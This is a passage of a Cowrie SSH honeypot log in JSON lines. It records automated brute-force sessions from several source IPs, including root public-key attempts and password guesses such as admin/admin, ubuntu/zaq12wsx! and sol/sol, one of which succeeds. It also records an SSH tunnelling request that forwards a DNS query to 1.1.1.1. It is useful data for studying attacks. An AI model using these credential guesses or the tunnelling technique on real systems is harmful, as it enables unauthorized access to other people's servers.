failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.952720Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:23:95:15:04:9f:ba:ab:da:5c:aa:14:b1:53:db:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6BN+QMZlO05CFXIK4lrQTtp75X4UjtxhCrC17STC7XVnxNwjoInXvzIAgKhYgfdpLZq6zL8Eg6kTFn9jBT4U20fvl7Se0tw9A5M4LmfASd99t0k5kwTfjwVlIbC+BvMG0NhCyUxIFdHkss1y0rIxDTeg0OjQ7dBzgkp/ihttfMZmW+avGDTt095JeS2LZiFubEuxEurm9/V5hF09i0/w+LNhAIjyHOuh7UGlw+d1ufXXazESDTCKPZq+VbqKxiiHnZRlBuYOWocnVRGm3E8+/YR1Z/juibW6YJsSRx6PoQWoS8y131P/m8UhQVnh1O48HYzeVulKl0RcfnnuvuuIUMbEiwHKUmx7xbzSfIvr+g3Imbw6xPYwesXiMEXYmeGsDH+E8s9WFV0lJaQnaAq6hBKIIZXsfkxUtZpNv7KEYRK7QlflBjRBNvOZv9fkRHvH/aQedrjKp8SY9IbEUD5aT5PJW1BXDFw9QlpGWpk+m7Dz2UwzwgeDRoD9I3pKPV9y14pfhK+gNGNSW9tO8tmZix+FvRIQGrc27wfjk49Fwvmqy36eCOw0GvmO+jkDQ0eDycW3/Tzmt1BBHBUVAavbjAckix+5eh3HNazS7QN8IEiLP9T9bbSBF0zCl0cPaGVQhMDbsrrLnR7T65gMpUfppTkHXSMsdEfc8w1HHVrWqBw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:23:95:15:04:9f:ba:ab:da:5c:aa:14:b1:53:db:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.960608Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:23:95:15:04:9f:ba:ab:da:5c:aa:14:b1:53:db:3e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6BN+QMZlO05CFXIK4lrQTtp75X4UjtxhCrC17STC7XVnxNwjoInXvzIAgKhYgfdpLZq6zL8Eg6kTFn9jBT4U20fvl7Se0tw9A5M4LmfASd99t0k5kwTfjwVlIbC+BvMG0NhCyUxIFdHkss1y0rIxDTeg0OjQ7dBzgkp/ihttfMZmW+avGDTt095JeS2LZiFubEuxEurm9/V5hF09i0/w+LNhAIjyHOuh7UGlw+d1ufXXazESDTCKPZq+VbqKxiiHnZRlBuYOWocnVRGm3E8+/YR1Z/juibW6YJsSRx6PoQWoS8y131P/m8UhQVnh1O48HYzeVulKl0RcfnnuvuuIUMbEiwHKUmx7xbzSfIvr+g3Imbw6xPYwesXiMEXYmeGsDH+E8s9WFV0lJaQnaAq6hBKIIZXsfkxUtZpNv7KEYRK7QlflBjRBNvOZv9fkRHvH/aQedrjKp8SY9IbEUD5aT5PJW1BXDFw9QlpGWpk+m7Dz2UwzwgeDRoD9I3pKPV9y14pfhK+gNGNSW9tO8tmZix+FvRIQGrc27wfjk49Fwvmqy36eCOw0GvmO+jkDQ0eDycW3/Tzmt1BBHBUVAavbjAckix+5eh3HNazS7QN8IEiLP9T9bbSBF0zCl0cPaGVQhMDbsrrLnR7T65gMpUfppTkHXSMsdEfc8w1HHVrWqBw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.965104Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:c8:8b:39:fc:c2:d0:5f:99:ee:1c:d5:b6:95:39:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOqmkouV/bkg6MX8UtkXtHPB7ldKl+Rw5gD2Pi3QrQf1/UZ5pwF7sDh5LpBdaUwHoAs/4TC23lWvbjbft7VkhbwlESeQ06pTjqEuBavufM4KW3ipByuSY+xf6KUU+BEGycsCBvGOjVAdESs2/7IOzoTTZRUnjELj9NRAHJV+atFJ45lUmM+ChdIQBoxHNSvZjFOI90slAu14Nk7sdfwUBcGDTigSQLhOb1DokHR3X2HJMtQLvi1mBnKhvlghDNwBx6ogpI+oztT1QIhkoaXdhAFvTZSizAHfVG1n/Yh2wGuFSvrKCmhT3czlxgUbntZY0BuAHwN1HJeVDAOAcWYYriThH/pCJ0ZKGdaw4bmspHXGPLqs4T+cu8MzCaoJmnzT/ee72VmGT3cyDIwp+c7M3rOmP4ZvNXdwTUCtWYu41gcEXiqCaYt0Bogojpz3S9Mf67cFaamqZUqMEgmeVDy0U9rtzQjzXdYQvfOgtsf/JWZfMx9T+4PY+onqphCeOu5gkvKgdoZZLHLzPFnQkFFVdkOZdrd7cP/RMdg92qogod5faJYQgKgT/nVB3F2+5DBlem4BiDA51jSYla+yO/3HPpHTJ8sFj2R7e1NBizIwbfOzu1izDWdqWDqbG6dwy1V8KE/TSM/4FzTNjEmHBwJA5EXLRBtQL4cVOsDXf+gOut6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:c8:8b:39:fc:c2:d0:5f:99:ee:1c:d5:b6:95:39:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.973436Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:c8:8b:39:fc:c2:d0:5f:99:ee:1c:d5:b6:95:39:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOqmkouV/bkg6MX8UtkXtHPB7ldKl+Rw5gD2Pi3QrQf1/UZ5pwF7sDh5LpBdaUwHoAs/4TC23lWvbjbft7VkhbwlESeQ06pTjqEuBavufM4KW3ipByuSY+xf6KUU+BEGycsCBvGOjVAdESs2/7IOzoTTZRUnjELj9NRAHJV+atFJ45lUmM+ChdIQBoxHNSvZjFOI90slAu14Nk7sdfwUBcGDTigSQLhOb1DokHR3X2HJMtQLvi1mBnKhvlghDNwBx6ogpI+oztT1QIhkoaXdhAFvTZSizAHfVG1n/Yh2wGuFSvrKCmhT3czlxgUbntZY0BuAHwN1HJeVDAOAcWYYriThH/pCJ0ZKGdaw4bmspHXGPLqs4T+cu8MzCaoJmnzT/ee72VmGT3cyDIwp+c7M3rOmP4ZvNXdwTUCtWYu41gcEXiqCaYt0Bogojpz3S9Mf67cFaamqZUqMEgmeVDy0U9rtzQjzXdYQvfOgtsf/JWZfMx9T+4PY+onqphCeOu5gkvKgdoZZLHLzPFnQkFFVdkOZdrd7cP/RMdg92qogod5faJYQgKgT/nVB3F2+5DBlem4BiDA51jSYla+yO/3HPpHTJ8sFj2R7e1NBizIwbfOzu1izDWdqWDqbG6dwy1V8KE/TSM/4FzTNjEmHBwJA5EXLRBtQL4cVOsDXf+gOut6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.977358Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:86:23:5a:52:07:d8:90:d2:5c:64:09:f1:c5:ad:4e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMYXCIe2pnvcLnzdCwBPciQ4PmkVEFdLgTLv96Fd4iQK73Ez+n/ZIPgKFRMSqEBtQkwXb3LzALzYmxWk/Bn7FJO2nGBPak7ar5mruOf+eYJpsLs6G/7xxwToe1gw3vE+EagQe1MT/yC51/tH9/FF8Brij7z9QSzFuckiXv/ah6qHAAAAFQCKz7gLg2P87nVTk7n3B0+Tgk35DQAAAIAt5WqySq/KQXcLPrGunic9Yv9WrHg+bxjoGamoYL5bqItRt9ZX1r5aXpD8+sYCMnT5zfZ2QusU/lh9NXWiF1UnR5KuPisx/k1oBbhh5fx3uZIgl76ApqcxEyDH5c1LZqtYRgot/le7n4s8JDZ6EhEZLR+IVW3Qpx/8B36EKwVNYQAAAIBYODW+S2mcycBtkSrobFGJn3Qr6nErWmjmRvfTWpS3jNtv03OhI2aY5m9l1FbsMNQ0BsbiV3vg0rD39lo5wTHgdPtP8kbNjkEvgXc56IzDbWgAjj87dVFnle1DcnuLCDUF24HwIL1qRgF6ywdp3hU/UxvMxbh2ceFCtMV3PoqDZA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint bb:86:23:5a:52:07:d8:90:d2:5c:64:09:f1:c5:ad:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.986752Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:86:23:5a:52:07:d8:90:d2:5c:64:09:f1:c5:ad:4e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMYXCIe2pnvcLnzdCwBPciQ4PmkVEFdLgTLv96Fd4iQK73Ez+n/ZIPgKFRMSqEBtQkwXb3LzALzYmxWk/Bn7FJO2nGBPak7ar5mruOf+eYJpsLs6G/7xxwToe1gw3vE+EagQe1MT/yC51/tH9/FF8Brij7z9QSzFuckiXv/ah6qHAAAAFQCKz7gLg2P87nVTk7n3B0+Tgk35DQAAAIAt5WqySq/KQXcLPrGunic9Yv9WrHg+bxjoGamoYL5bqItRt9ZX1r5aXpD8+sYCMnT5zfZ2QusU/lh9NXWiF1UnR5KuPisx/k1oBbhh5fx3uZIgl76ApqcxEyDH5c1LZqtYRgot/le7n4s8JDZ6EhEZLR+IVW3Qpx/8B36EKwVNYQAAAIBYODW+S2mcycBtkSrobFGJn3Qr6nErWmjmRvfTWpS3jNtv03OhI2aY5m9l1FbsMNQ0BsbiV3vg0rD39lo5wTHgdPtP8kbNjkEvgXc56IzDbWgAjj87dVFnle1DcnuLCDUF24HwIL1qRgF6ywdp3hU/UxvMxbh2ceFCtMV3PoqDZA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.990918Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:28.999246Z","src_ip":"185.255.100.12","session":"82bb7883f4c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":25502,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0113f70ff69","protocol":"ssh","message":"New connection: 202.165.15.132:25502 (10.17.0.5:22) [session: b0113f70ff69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:31.402272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:31.406842Z","src_ip":"202.165.15.132","session":"b0113f70ff69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:31.647169Z","src_ip":"202.165.15.132","session":"b0113f70ff69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq12wsx!","message":"login attempt [ubuntu/zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:32.642572Z","src_ip":"202.165.15.132","session":"b0113f70ff69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":53828,"dst_ip":"10.17.0.5","dst_port":22,"session":"2211f5b6e4d4","protocol":"ssh","message":"New connection: 2.57.122.210:53828 (10.17.0.5:22) [session: 2211f5b6e4d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:33.215914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:33.289841Z","src_ip":"2.57.122.210","session":"2211f5b6e4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:33.494305Z","src_ip":"2.57.122.210","session":"2211f5b6e4d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:33.885817Z","src_ip":"202.165.15.132","session":"b0113f70ff69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43674,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4c207fa834","protocol":"ssh","message":"New connection: 87.251.64.176:43674 (10.17.0.5:22) [session: ed4c207fa834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.051808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.056445Z","src_ip":"87.251.64.176","session":"ed4c207fa834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.102789Z","src_ip":"2.57.122.210","session":"2211f5b6e4d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.152354Z","src_ip":"87.251.64.176","session":"ed4c207fa834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.219","src_port":53332,"dst_ip":"10.17.0.5","dst_port":22,"session":"862ee8c98a9a","protocol":"ssh","message":"New connection: 51.159.104.219:53332 (10.17.0.5:22) [session: 862ee8c98a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.236600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.240921Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.325323Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.441071Z","src_ip":"87.251.64.176","session":"ed4c207fa834","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.539858Z","session":"ed4c207fa834","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.637822Z","src_ip":"87.251.64.176","session":"ed4c207fa834","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzqeAxJyjb9FvV7jKx10vbrdq7PXMpb4vXKiPkJhnBYyL4FlfbrSmDWoXRwOkIN9enNvwM8XEQ4CwdEftumRLHadyaJZpAg67mLwCC1jco+WT8d8EBJPiMCpzGvv/qlyFbcdI8cBFUIzMmxVPiMnxa2yXDhwOFyiS9SKECM5Lo8Q79vBgB6Hl7UGIJ7Z5Fs151/biNuxAZvKfZNvBcM+P+dxLqyn82Wrmv/RBfZ4iCC3QN7xwgdGwO192VdzNoSZSFYBSKNniocZWieKy3uWk0VNiChodTGABMnr5XZWKCL/S90P2s/eZSxe58aocqvCU/izm3gONC3sUPaSiqPPvf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.725109Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:4b:f9:9b:85:df:de:3a:fe:fa:f3:18:67:fd:97:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzqeAxJyjb9FvV7jKx10vbrdq7PXMpb4vXKiPkJhnBYyL4FlfbrSmDWoXRwOkIN9enNvwM8XEQ4CwdEftumRLHadyaJZpAg67mLwCC1jco+WT8d8EBJPiMCpzGvv/qlyFbcdI8cBFUIzMmxVPiMnxa2yXDhwOFyiS9SKECM5Lo8Q79vBgB6Hl7UGIJ7Z5Fs151/biNuxAZvKfZNvBcM+P+dxLqyn82Wrmv/RBfZ4iCC3QN7xwgdGwO192VdzNoSZSFYBSKNniocZWieKy3uWk0VNiChodTGABMnr5XZWKCL/S90P2s/eZSxe58aocqvCU/izm3gONC3sUPaSiqPPvf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.729183Z","src_ip":"51.159.104.219","session":"862ee8c98a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:08:34.736654Z","src_ip":"87.251.64.176","session":"ed4c207fa834","protocol":"ssh"}
